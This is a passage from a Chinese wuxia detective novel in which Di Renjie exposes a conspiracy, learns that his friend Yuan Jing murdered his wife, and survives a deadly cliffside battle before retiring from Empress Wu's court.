性格,便使出了一招‘虚虚实实’,使我走上了通往你们要我到来的地方之路。这样,我便来到了五湖镇。那时,你马肃也得到了消息,说我狄仁杰今日已经到了,便大张旗鼓在镇子里最大的酒楼醉酿阁中举办起比武来,并且成功地引起了我的注意,使我前来观看。你于是亮出了陛下赐予的宝剑,那个搜查队队长才拥有的信物,让我眼睛一亮,认出了你的身份来。你又跟那领头的一起上演了一场互相残杀的戏,使我以为你跟寒刀帮势不两立,绝对不可能是一伙的。这时,你再次使出了苦肉计,替忠义身中了雪松针,也因此渐渐地博得了我们对你的好感。你当时也真的昏迷了过去,并且算到,我们会将你救走。这么一来,你搜查队队长的身份,外加你的救命之恩,因为当晚你还救了我一命,便可以使你顺理成章地潜伏在了我的身边,开始了你们的整个局中之局。后来,何璧因得知了你的身份,便在皇上跟前告了你一状,说你杀人通敌,致使搜查队被害,却还是不敢说出你跟寒刀帮之间的关系,以免皇上怀疑,连累了自己。于是,你出现在了通缉令上,跟我与忠义二人并列。我们二人自然是被陷害的,至于陷害我们的人是谁,你们自己心里也清楚。那个何璧本是想害你马肃,却阴差阳错,反倒帮上了你的忙。当然,这都是无意的。因为你真正的目的就是要潜伏在我的身边,而我一开始就已经怀疑你了。所以这个通缉令一出,反倒让我怀疑起了自己最初的判断,是否真是准确的。我怀疑你的地方,刚才都已经说过了,有许多。但是,在见到了通缉令以后,我立时便犹豫不决了。为什么,你会与我们二人并列?难道,你也是被陷害的吗?这些问题,我都想过,当时一直就令我难下决断。那时,我也把了你的脉,知道你确实是中了寒毒,而不是装病。所以,我丝毫也没有怀疑,你是到了阳绵县以后才醒来的。如今看来,你当时说的有一部分是实话,但却不是全部的实话。魏胥,你刚才跟徐敬猷的对话都已经说明了,你是当年徐敬业造反时的军师魏思温的儿子。嗯,我当时怎么也没想到,你跟马肃竟然会是一伙的。当时,我就怀疑,有人通风报信。因为,你不是认出了我们,而是直接找到我们的。你当时直接是冲着我们而来,几乎都没有稍加辨认一番。现在我明白了,那是因为你看到了马背上的马肃,所以直接就认了出来。至于我们的行程路线,你们也早就算到了。因为不论是走大道还是小路,只要是想通往秦州方向去,那就必须得经过阳绵县。是的,你们早算到了,我狄仁杰要去秦州。这我一会儿再说。因此,不论我怎么走,终究会来到通往秦州的最后一个县镇,阳绵县。必须得经过了它,才能继续走水路。这样,你魏胥便在阳绵县的城门口等着我们,因为你知道我们必定会来。你也知道,马肃已然昏迷,所以只要认出了一个昏迷之人,便可立刻认出我们所有的人。这就是你如此之快认出了我们几个人的真实原因,并不是因为你认出了我们,而是因为你认出了那昏迷的人,也就是你的同伙,马肃。你于是立刻迎接我们到了你府上,不为了别的缘故,就为了要我们,主要是我狄仁杰,写那一份血字供词。你便下药囚禁了我们,并跟早已醒来的马肃都商量好了:他会在我们供词写完了以后,和鹃儿受辱以前,这个短短的时间段内,出现在我们的眼前。这样,你们既拿到了供词,而鹃儿又因为马肃而没有受辱,我们因此还得感谢你们了。哼,马肃啊,你编的好故事啊。你当时说,你昏迷了。哼,我看你醒来的很是时候啊。这个事件以后,我基本已经确定了,你们是一伙的。所以后来不论你马肃怎么救我们,我都不会再相信了。好,我现在要讲讲另一个人。这个人,便是鹃儿。她,是被你们给害了。你们为了让我狄仁杰诬陷好人,故意使她蒙受冤屈。现在,我就要把整个事件的真相说出来:你吴常,就是想让我犯错。对,整个事件的真相,就是这样。你打从一开始做的一切,都是在针对我。或者说,这诸多案子,就是为我狄仁杰预备的。你的真实目的,就是想让我难受。而最让我难受的,你也知道,便是错怪了好人,还有认可了坏人。这里面的好人便是鹃儿,坏人便是马肃。只要我认为鹃儿是内奸,马肃又不是内奸,那么你吴常就真正赢了!可现在看来,你还是输了。因为我说过鹃儿不是内奸,而马肃,我虽然没有说出来过,但心里从来就没有把他当作过一个不是内奸的人!我赢了。我狄仁杰又赢了。你吴常,又输了。但是输赢又有什么重要?她已经死了。一个可爱的女孩子,就这么死了。她为什么会死?因为你们一个个心里的‘恶’。她死得很苦,也很快乐,因为不用再在这个世上受苦了。从一开始,她的叔叔,那个杀手领头,将她卖到了彭府,就是为了一年后,她有可能跟到我身边。你们将彭府灭门,派去的正是她的亲叔叔。这个亲叔叔用心歹毒,为了帮助你们完成计划,竟将他的亲侄女儿出卖,就为了让我犯错!只要我狄仁杰犯了错,你们就都开心了,对吗?那你们干吗不直接来害我!你们干吗要害她!就为了让我犯错,你们便做出这等丧尽天良的事来。哼哼,我算是大开眼界了。亲叔叔啊,这么去害亲侄女儿。为了让我诬陷她是内奸,你们布了好大的局。从一开始的彭府,到后来的竹林,这中间发生了多少事啊。我现在就来讲讲,你们是怎么做的。首先,掉下悬崖之事,我们谁都没料到,包括你们。这完全是个意料之外的事,我也就不提了。当然,忠义他们毕竟没死,所以又回到了山上。那个林间小道,正是你们派人劫军粮的地方。你们还为了要诬陷徐杰,特意装扮成了御林军的模样。之后,运粮队被杀害了,你们便故意将军粮放到了一个附近的洞口之中,还摆了几袋子私盐在里面。那个私盐,便是王家的。你们算定,我们会因此而查到王家,所以早在我们到来之前,你们便将王家灭门了,又放了一把大火,我们便一起赶来了。这时,你们早已通知过的王老爷之子王罢也因为收到了你们的信,正好赶到了东凤县。记得出事前一日天晚之时,我们一行人已将及东凤县,你马肃突然说,‘累了’,想‘歇一宿’。你这么说,正是因为时间还没到啊。后来,我们探查现场,发现那些人又是为你们寒刀帮所杀,因此又记起了这个杀手组织。当晚,竹林之中,鹃儿的亲叔叔,那个杀手领头,故意暴露身份。而在这之前,你马肃便已经提到了‘内奸’之事,致使我们中间其余人互相猜疑了起来。这时,在得知了那杀手领头是鹃儿的叔叔以后,我们自然都会将矛头指向她。而我狄仁杰如果因此冤枉了好人,那么你们也就开心了。至于那个杀手领头,那个‘亲叔叔’,我想,他在得知了他的侄女因他而死后,也能含笑九泉了。哼,真是禽兽不如!好了,你们现在满意了?鹃儿死了,因为你们!” 他说完这一段话,喘了几口气,见对面几人仍是默默地听着,便又道:“你们之所以算到我会来秦州,是因为你们知道,我在秦州有一个故友,便是刺史远靖。这个人,被你们收买了。军粮一案,打从一开始就是个骗局。仁德县的谭知县,参与了其中,也是被你们给利用了,为的是要迷惑我狄仁杰,不知从何查起。所以,这诸多案子都不了了之,是因为它们跟战事之间并不存在着真正密不可分的关联,而只是诸多独立的事件恰巧连到了一块儿。现在想想,远靖兄身上那封信,也就是你们用白醋写就,上面画着那把‘李’剑的信,正是写给我看的。所以,封面上才会写了‘狄仁杰’三个字。你们是想因此引起我的注意,让我帮助你们找到这把骆宾王藏起来的宝剑。你们又知道,我必定来找远靖,所以就提前将他杀害,然后又借着他夫人的手……” 吴常冷笑道:“你怎么不继续说啦?” 狄仁杰道:“远靖他……他没死?” 一个苍老的声音道:“我当然没死。” 50. 第五十章 归途 只见旁边另一个蒙面人拉下了遮面布,露出了面容。 狄仁杰认了出来,正是前任秦州刺史,自己的故友远靖。 狄仁杰望着他呆了呆,感到又悲又喜,不知说什么好了。 那远靖也望着他,却是神色漠然,面无表情。 狄仁杰半晌说道:“你果然还活着。” 远靖冷冷道:“我当然还活着。” 狄仁杰道:“这到底是怎么回事?” 远靖道:“你不都知道了嘛。” 狄仁杰道:“我……我不敢相信。” 远靖道:“你不敢相信什么?” 狄仁杰道:“你还活着。” 远靖道:“你希望我死?” 狄仁杰道:“不,我希望你好好地活着。” 远靖哼的一声冷笑。 狄仁杰指着吴常他们道:“你们干吗要杀害远靖兄的夫人?” 吴常他们不答。 只听得远靖说道:“不是他们杀的,是我杀的。” 狄仁杰道:“我知道。” 远靖道:“你怎么知道?” 狄仁杰道:“她到死都没有说出凶手来,我就知道了。你为什么要这么做?” 远靖道:“因为你。” 狄仁杰道:“我?” 远靖大叫:“就是你!” 狄仁杰道:“为什么?” 远靖含泪道:“她虽然嫁给了我,但她心里只有你。” 狄仁杰一听,都明白了。 远靖哭道:“我虽然得到了她的人,但我一辈子都没得到她的心。” 狄仁杰道:“怎么会这样……” 远靖道:“她爱的人始终是你,而不是我。” 狄仁杰虽然不愿意相信这个事实,但这就是事实。 远靖道:“是你逼我杀的她。” 狄仁杰眼泪都流不出来了,只是面无表情。 远靖哈哈大笑了起来,道:“她连驿站里死的那个人不是我都没有认出来,说明她心里多么地没有我呀!” 狄仁杰依然面无表情。 远靖道:“她从来没有爱过我,只是向我陪笑而已。我知道,她心里只有你。” 狄仁杰道:“可你也不应该杀人。” 远靖狂叫:“我要杀就杀,你管不着!” 狄仁杰不知道说什么好,只是呆看着他。 远靖道:“你来秦州的那天晚上,跟她到了我读书的宅院,我当时就躲在墙背后,都看见了。你们两个,含情脉脉,我都看见了。跟从前一样,她爱的还是你,不是我。” 狄仁杰道:“我看得出来,她是爱你的。” 远靖狂叫:“她不爱我!她对我的爱,都是装出来的!……只有对你的爱,才是真的。” 狄仁杰面无表情。 远靖道:“所以第二天早晨,我就下定决心要杀了她。我专门挑选了一把很锋利的匕首,悄悄地来到了她的私室……” 这时,诸人都望见了,树林之畔,站着四个人。 其中三个,一个是道士,一个是粗汉,还一个是书生。 狄仁杰认了出来,是空虚道人、史不放、薛文三兄弟。 他们三人,围着一个年轻人。 狄仁杰也认了出来,那年轻人正是远靖之子,现任秦州刺史,远公子。 他不久前听那三兄弟说了,狄仁杰已经在回都的路上了,于是跟他们一同来到了郊外,提前在附近等候,却没有遇上狄仁杰。这会儿,他们听说了京城造反之事,便跟着来到了这个去处,正好狄仁杰也在,众人都在。 远公子刚才一直都在,什么都看见了,什么都听见了。 他看见了自己的父亲,竟然还活着,又听到了自己的父亲,亲口说出,自己的母亲,竟然死在了,自己的父亲手里?远公子懵了。自己的父亲,杀了自己的母亲?自己的父亲不是死了吗?怎么这会儿还活着?活着说出了,自己母亲的死,是自己的父亲亲手造成的?自己的母亲死了?死在了自己的父亲手里?自己的父亲,用锋利的匕首,捅死了自己的母亲?他懵了。 远靖突然看见了自己儿子,大惊失色,整个人都呆住了。 远公子道:“爹,我娘是被你给杀的?” 远靖惊恐地望着儿子,浑身颤抖,说不出话来了。 远公子登时尖声狂笑了起来,又狂叫一声,回身直往树林里跑去。 远靖一见,便倒下不省人事了。 史不放怒骂:“他妈的!这狗娘养的还活着,竟然是他杀害了秦夫人!” 薛文也怒叫:“你爱她就更不该杀她!真是无耻!” 空虚道人道:“狄仁杰,我错怪你了,请你原谅。” 狄仁杰只是皱眉叹气。 吴常突然大叫:“你狄仁杰没赢!” 声附内力,登时震得在场诸人一阵晕眩。 狄仁杰顿感胸口剧痛,一口鲜血直吐了出来。 史不放抱头道:“哎哟,比俺‘史吼功’还厉害!” 吴常狠狠道:“狄仁杰,只要你死了,你就不算赢!”大喝一声:“杀!” 四周众杀手就待持刀杀将来,突然林子里也传来一片声叫嚷:“杀!” 只见狄宁带头冲了出来,后面跟着许多御林军的人。 徐敬猷惊道:“怎么回事?” 狄宁叫道:“老爷追踪你们一路留下了记号,我们便跟着来了!你们死定了!”叫一声:“禁军的兄弟们,杀!” 双方大喝一声,乱斗了起来。 吴常叫道:“杀了狄仁杰,我们就不算输!” 马肃道:“帮主,我来!”说着飞身而去,直扑向狄仁杰。 史不放大喝:“王八杂种,休要动手!”一面甩去腕上铁链,朝马肃横扫将来。 马肃连忙借力打力,甩将回去,附带多重内力,就要卷到狄仁杰身上时,空虚道人早呛啷一声,长剑出鞘,白光闪动,飞身过去,击中铁链,一面附带力道直扑马肃面门。 马肃大喝一声,双掌运力,铁链剑尖登时停于半空,离自己双眼不下一寸即至。 史不放又手腕运劲,使得力道增强,铁链如火中烧,马肃几乎抵不住。 这时,吴常跃至半空,一招“神龙入海”直攻而来,双掌向下一劈,兔起鹘落,犹如泰山压顶之势,底下诸人登时喘不过气。 史不放一见,连忙用“史吼功”吼了起来,却只抵住了一部分气压,感到体内气血翻涌,差点活活憋死,腕上力道顿减,马肃便趁势反攻,使上更大劲力,铁链当啷啷直响,朝空虚道人直压将去。 空虚道人左手高举,抵住了空中的吴常,右手使剑,膀臂一转,连带铁链挡格着马肃。 吴常在空中如倒立一般,双掌朝下,使劲猛推,内力如潮涌来。 空虚道人、史不放二人虽是高手,然在吴常、马肃两个武功顶尖之人的面前,也显得逊色了。 这时薛文扶着狄仁杰,二人站在一片战场的当中干着急。 狄宁和御林军的人相斗寒刀帮的众杀手也颇为吃力。 悬崖边上,一层层雾霭在空中飘荡,随着那喧哗之声到处游走。 吴常大叫一声,使力向下,空虚道人须发乱颤,额头冷汗涔涔而下,左手手臂顿感剧痛,不由得力道稍减,被吴常趁势向下一扑,一口鲜血直喷了出来。 史不放几人被笼罩在吴常的气压之下,几乎就要憋死。 狄仁杰、薛文等不会武功之人更是感到胸口几欲炸裂,不但呼吸不了,连气也吐不出来,只是头昏脑胀,浑身剧痛。 马肃横向猛击,吴常竖向强攻,逼得几人毫无退路。 空虚道人身在当中,独自抵挡着横竖两股力道,不愿坐以待毙,便选择孤注一掷,将剑柄倒转朝上,向吴常直刺将去。 吴常一见,立时双掌连击,发出一连声的炸响,登时便将一长串铁链迸裂成了无数铁环,如暗器一般飞溅四方。 空虚道人惨呼一声,原来已身中马肃一掌,整个人向后直摔了出去。 夹杂着薛文叫“大哥”的声音,史不放拼尽全力狂吼,保护着狄仁杰。 狄仁杰道:“我谢谢你们兄弟三人,你们已经尽力了,你们不用管我了。” 史不放大叫:“狄仁杰!我们当时为了正义想杀你,如今又为了正义要救你!你不用管……”说着闷哼一声,连中数十掌,口吐鲜血,当场气绝。 薛文大叫:“二哥!” 空虚道人怒叫一声,跳起身来,使上十足内劲,持剑横扫将去。只见一股猛烈的剑气直划将来,被吴常连忙用掌向下一劈,在地上划出了一长条裂痕,泥土四溅。 马肃一掌打向狄仁杰,狄仁杰眼一闭,听得一声惨叫。 狄仁杰连忙睁开眼来,只见薛文挡在了自己面前。 薛文回过头来,口角流血,看着狄仁杰轻轻笑道:“狄大人,正义总能战胜邪恶的,对吗?”说着也去了。 狄仁杰扶着他,含泪点头道:“是的。” 空虚道人知道二弟三弟都去了,一面大叫了起来,含泪狂舞着手中长剑,登时转出了一圈圈剑光,朝吴常二人疾射而来。 二人迅速化解之际,空虚道人趁势将毕生功力聚于剑刃,使了一招“花雨纷飞”,将长剑猛然推出,于空中四面回旋。 吴常二人连忙将力道急转,长剑几乎掠过要害,又飞了回去,直指向空虚道人。 空虚道人袍袖乱抖,双掌运劲,拼尽全力抵住了二人的回击,突然感到吴常难敌,略一松懈,长剑噗的一声,直插入自己胸口,闷哼了一声,整个人向后直摔了下去。最后说了句:“虽说无为,但也要做点什么呀……”便也去了。 这时狄宁带来的御林军也已几乎全军覆没,而寒刀帮的杀手却尚存许多。 狄仁杰独自面对着吴常、马肃二人,知道自己命不久矣。 吴常道:“狄仁杰,你现在说说,我们两个谁赢了?” 狄仁杰道:“就算你赢了吧。” 吴常冷笑道:“你终于输了。” 狄仁杰道:“人这一辈子,难道就为争个输赢吗?” 吴常道:“输赢,很重要。尤其是你我之间。” 狄仁杰道:“你会发现,输赢什么都不是。” 吴常道:“输赢不是,那什么是?” 狄仁杰道:“对于一个迷失了自我的人,什么都不是了。” 吴常道:“你说我迷失了自我?” 狄仁杰道:“难道不是吗?” 吴常半晌道:“我也不知道。”又哼哼笑了起来,道:“不是我迷失了,是你!狄仁杰,我很荣幸能杀了你,你去死吧!”说着一掌打过去。突然大叫了一声,向后就倒,口角流出了鲜血,眼睛瞪得大大的,已然气绝身亡。 在场诸人都大吃了一惊:原来吴常竟是死在了韩忠义的手里。 韩忠义一直都呆呆的,以致所有人都忽略了他的存在,包括吴常。 韩忠义适才听到了“迷失自我”四个字,不知道为什么,顿时便清醒了过来,茫然地看了看四周,忽见吴常要杀狄仁杰,便连忙出了一掌,竟将吴常打死了。 狄仁杰回过头来,看着韩忠义。 韩忠义也看着狄仁杰,说声:“大人,我回来了。” 狄仁杰不由得流泪了。 马肃指着惊道:“你……你武功恢复了!” 韩忠义看着马肃道:“你就是内奸?” 马肃道:“怎么着!” 韩忠义道:“你准备好受死了吗?” 那边魏胥叫道:“韩忠义!你打不过这么多人!” 韩忠义一见了魏胥便大怒,道:“我打不过这么多人,我还杀不了你吗!”将地上一把刀朝魏胥直击将去,当场就给砍死了。 马肃叫:“都给我杀!” 众杀手登时一齐持刀杀来。 韩忠义早拔出了腰间的“凌云宝剑”,朝四周猛地一挥,所有人都吓死了! 只见剑气抛出,如同万道光芒,亮闪闪一片,笼罩了整个天涯,“哗”地一声,所有的杀手一齐惨叫一声,倒了下来,全部灭亡。 马肃目瞪口呆,见众杀手于一招之内全部被杀,不由得大吃一惊。 韩忠义看着他道:“马肃,是条汉子,就来跟我比个生死!” 马肃大叫一声,持刀砍来,使上了毕生之力,却被韩忠义一剑就戳穿了胸口。 马肃松开了手中的刀,当啷一声掉在了地上。 韩忠义看着他道:“这一剑,是为了所有你伤害过和欺骗过的人们刺的。你马肃,罪有应得。”说着,将剑拔了出来,马肃便倒了下去。 这时徐敬猷哈哈大笑,道:“或许天下,并不存在吧。”说着,拔出那把“李”字宝剑,往自己脖子上一抹,整个人倒了下去。 远靖看着狄仁杰叫道:“仁杰!来世如果我们不再爱上同一个女人,你还愿意跟我远靖做朋友吗?”说着,哈哈大笑了起来,向后一跑,从悬崖跳了下去。 突然间,韩忠义手中那把“凌云宝剑”,裂成了无数个碎片,散落一地,仿若上万个镜子一般,照着他自己。 韩忠义看到了,无数个自己。 这个问题,这个让他迷失自我的问题,此时此刻,他找到了答案。 我是谁? 我,就是我。 他突然口吐鲜血,整个人倒了下来。 狄仁杰忙扶住他道:“忠义,你怎么了?” 韩忠义眼前恍恍惚惚,望着那黯淡的天空,几不可闻地说道:“大人……我这辈子……好像活在梦中……” 狄仁杰抱着他含泪道:“人生如梦,我们谁都在梦中。” 韩忠义看着狄仁杰微笑道:“大人……我要离开这个虚幻的世界……去到我真实的故乡了……” 狄仁杰看着韩忠义流泪微笑道:“你放心地去吧,我不久便来陪你。” 韩忠义微笑道:“大人……你不要哭……”自己说着也哭了。 狄仁杰忙擦干眼泪,微笑道:“我没哭。” 韩忠义含泪笑了,狄仁杰也含泪笑。 二人的眼泪却还是不停地在流。 韩忠义最后望着天空笑道:“但愿那边的世界……不再有痛苦……”说着,便气绝了。 狄仁杰哭笑着,既无喜,也无悲,只是觉得空。 狄宁见韩忠义去了,也哭了。 这时将剩余的几个御林军的人派回都中去了,悬崖上便只剩下了狄仁杰、狄宁两个活人。 狄宁缓缓地走了近前,突然抬起刀来,指着狄仁杰。 狄仁杰并不吃惊,只说:“你要杀就杀吧。” 狄宁拿刀的手不住地颤抖,道:“老爷都知道了?” 狄仁杰道:“我一开始就知道,你是陛下派到我身边的人。” 狄宁“啊”的一声,道:“你……你都知道?” 狄仁杰点头道:“是的,我都知道。” 狄宁不觉呆住了。 狄仁杰道:“你动手吧,我不怪你。我知道,是陛下叫你来杀我的。” 狄宁道:“你连这都知道?” 狄仁杰道:“诸案一了,陛下是不会留我活命的。” 狄宁颤道:“你怎么知道不是我想杀你?” 狄仁杰道:“因为你没有杀我的理由。” 狄宁一听,又呆住了。 狄仁杰叹了口气,道:“都死了,我一个人活着也没意思。那还不如,也去了吧。嗯?” 狄宁道:“我自认为,没有露出什么破绽,你……你怎么知道……” 狄仁杰道:“我不说以前了,就说这次办案,你也有破绽。” 狄宁道:“什么?” 狄仁杰道:“记得当时在秦州,我们遇到了陛下派来的虎翼双雄。他们二人,那时候还并不认识你。后来,我们被他们追到了松树林中,你为了要掩护我,便让我自己去了。之后,我跟洪辉再来跟你相见了时候,你说你是因为躲了起来,所以他们才没有看见你。问题是,你是怎么躲起来的?当时那种情况,你一个人对付他们两个,根本就没有时间和机会躲起来。因此,你狄宁还能活着见到我,正说明了你跟他们两个是一伙的事实。你只有亮出了你是‘皇上派到我狄仁 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眼前的雾,慢慢地,越来越浓,一片云雾缭绕,将诸人的遗体也都盖住了。 云雾越来越厚,将狄仁杰一个人围在了当中,已经分辨不出自己的所在之地了。 他在哪里?他自己也不清楚。他什么也看不见了,只剩下了白茫茫一片。 那是虚无。 他发现了,一切的尽头,就是虚空。 这时候,狄仁杰隐约地看见,有一个年轻人,从云雾之中,遥远地走了过来。 到了近前,只见他面带微笑,向狄仁杰作揖,道:“老先生安好?” 狄仁杰道:“你……你是谁啊?” 那年轻人道:“老先生不认得我了?” 狄仁杰道:“我……我认得你?” 年轻人道:“你怎么不认得我。” 狄仁杰道:“我怎么会认得你呢?” 年轻人道:“老先生,我是年轻时候的你啊,你不认得啦?” 狄仁杰指着道:“你……你是年轻时候的我?” 年轻人道:“怎么不是,我叫狄仁杰呀。” 狄仁杰道:“你……你叫‘狄仁杰’?” 年轻人道:“是啊,你不也叫狄仁杰吗?” 狄仁杰道:“我……我是狄仁杰?” 年轻人道:“你不是狄仁杰吗?” 狄仁杰道:“我也不知道……”又看着年轻人道:“你真的是年轻时候的我?” 年轻人道:“我就是狄仁杰。” 狄仁杰道:“那我呢?” 年轻人道:“你也是狄仁杰。” 狄仁杰道:“我们两都是?” 年轻人笑道:“我们两都是。” 狄仁杰也笑了。 就在这时,狄仁杰忽地睁开眼来,见自己正躺在榻上,身上盖了一层被子,天气有点冷,自己有点发抖。他睁开眼的一瞬间,觉得恍恍惚惚,好像曾经见过这个场景。旁边有一个小窗,窗外隐约可见宫殿,外面正下着大雨,模模糊糊的,阴沉沉一片。 这时,忽听得一个声音道:“爱卿醒啦?” 狄仁杰一听大吃一惊,回头一看,只见对面床沿上坐的正是武皇。遂连忙下榻行礼磕头道:“臣狄仁杰,叩见陛下。吾皇万岁,万万岁。” 武皇起身搀道:“怀英爱卿,快快平身。此朕私室,非比朝堂之上,不必行此大礼。” 狄仁杰一面道:“谢陛下。”一面偷眼一看,果见身处之地乃武皇密室。 武皇道:“怀英,坐。” 狄仁杰道:“臣不敢。” 武皇道:“朕说了,不必多礼。” 狄仁杰道:“谢陛下赐座。”遂在旁边椅子上坐了。 武皇凝视了狄仁杰半晌,道:“一年未见,你也老啦。” 狄仁杰道:“陛下龙体安康,臣就放心了。” 武皇道:“你也要多保重啊。” 狄仁杰道:“多谢陛下关心,臣会的。” 武皇点了点头。 听着外面的落雨声,偏暗的密室里更显得沉寂。 君臣二人此时相顾一看,武皇先笑了起来,狄仁杰也跟着笑了。 一时笑毕,武皇道:“这边关之路,漫长否?” 狄仁杰道:“与臣一生之路相比,不算长。” 武皇道:“路,可有尽头?” 狄仁杰道:“只要陛下愿意,臣的路,何处皆可为尽头。” 武皇道:“你救了朕的命啊。” 狄仁杰道:“此皆陛下神机妙算,臣何功之有。” 武皇道:“朕是说,那群杀向寝殿的青袍人。你可知,是谁在背后指使?” 狄仁杰道:“臣已查明,正是此次造反的主谋徐敬猷安排的。” 武皇看着他不语。 狄仁杰道:“他与寒刀帮联手劫走了兵部彭尚书,拿到了陛下赐予的城防布置图,在密道之中埋伏了有上千死士,就是为了在他们大队人马造反之际,若果出了差错,还可以此行刺陛下。臣遂派遣亲信狄宁提前将阴谋告知,使陛下先撤出殿外,再埋伏好禁卫军的人,将他们一网打尽。此皆陛下御林军救驾之功,臣不敢独揽。” 武皇听了,哈哈笑道:“朕相信你。”半晌又看着狄仁杰道:“朕欲立武三思为太子,你以为何如?” 狄仁杰看着武皇道:“梁王为太子,再好不过了。” 武皇道:“你不反对?” 狄仁杰道:“陛下的意思,臣不敢反对。”又道:“只是……” 武皇道:“只是什么?” 狄仁杰道:“臣有句话,不知当讲不当讲。” 武皇道:“但说无妨。” 狄仁杰道:“陛下,乃梁王之姑。梁王,乃陛下之侄。若是梁王继承大统,待陛下千秋万岁之后……” 武皇道:“如何?” 狄仁杰道:“陛下可有听说,姑姑配享宗庙?” 武皇半晌道:“那你说,该如何是好?” 狄仁杰道:“唯有立儿子为太子,方能于千秋万岁后,配享宗庙。” 武皇一闻此言,立时恍然,却不予答复,只轻轻点头,微笑不语。 狄仁杰偷眼见了,也几不可见地笑了。 武皇又问狄仁杰要何赏赐。 狄仁杰便趁机说出了自己“年迈多病”,想“告老还乡”的事来。 武皇一听,会心一笑,应准了。 次日,狄仁杰也未向任何人辞行,只背了个小包袱便离开了。 天上正飘着绵绵细雨,一丝丝地洒落在了空荡荡的街道上。 这里已经是城外了,不知哪一个市镇,笔直的街道向前延伸,不知通往何处。 狄仁杰独自行着,见四周一片萧瑟,连一个行人都没有,仿佛天地间只剩下了自己一个人。 就在这时,忽听得远处传来了一点声响,好像是笑声。 狄仁杰走近一看,只见一个衣衫褴褛的年轻人在街上蹦蹦跳跳,一面傻笑着,口里不停地叫“娘”。 狄仁杰认了出来,正是远公子。便走到了他面前,看着他,眼眶不觉湿了。 远公子突然看到了狄仁杰,便止住了笑,呆呆地望向他。突然,他伸手往身上破烂的衣服里,掏出了一样东西。 狄仁杰一看,是一块面饼。 只见那远公子,笑嘻嘻地,将那块面饼递了过来,要给狄仁杰。 狄仁杰看到了面饼,便想到了这个孩子的母亲。又见远公子,如今已经彻底傻掉了,心里更是难过得不行。 远公子仍是傻笑着,伸手把那块面饼,递给狄仁杰,一面说:“给你,给你。” 狄仁杰看着他,轻轻地摇了摇头,忍不住流下了泪来。 远公子呆呆地望着他。 狄仁杰这时轻轻地拉住了他的手,含泪微笑道:“我们走吧。” 远公子又傻笑了起来。 细雨之中,狄仁杰牵着他的手。 二人的背影渐行渐远, 直到消失在了路的尽头……